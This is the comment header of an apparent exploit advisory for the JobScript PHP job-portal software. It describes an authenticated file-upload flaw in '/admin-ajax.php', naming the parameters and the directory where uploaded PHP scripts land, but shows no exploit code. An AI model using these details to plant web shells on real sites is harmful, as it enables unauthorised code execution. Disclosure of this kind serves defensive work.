  # JobScript Remote Code Execution Exploit
  #
  #
  # Vendor: Jobscript
  # Product web page: http://www.jobscript.in
  # Affected version: Unknown
  #
  # Summary: JobScript is inbuilt structured website was developed in PHP and MySQL 
  # database. It's a complete job script for those who wants to start a professional 
  # job portal website like naukri.com, monster.com, clickjobs.com or any such major 
  # job portals. Jobscript was designed and developed with the following features like 
  # control panel for Employer's and also for Job Seeker's, email alerts, job search, 
  # online resume, payment and membership plans. 
  #
  # Desc: JobScript suffers from an authenticated arbitrary PHP code execution. The 
  # vulnerability is caused due to the improper verification of uploaded files in 
  # '/admin-ajax.php' script thru the 'name' and 'file' POST parameters. This can 
  # be exploited to execute arbitrary PHP code by uploading a malicious PHP script 
  # file with '.php' extension (to bypass the '.htaccess' block rule) that will be 
  # stored in '/jobmonster/wp-content/uploads/jobmonster/' directory.
  #
  # Tested on: Apache 2.4.9
  #PHP 5.4.26
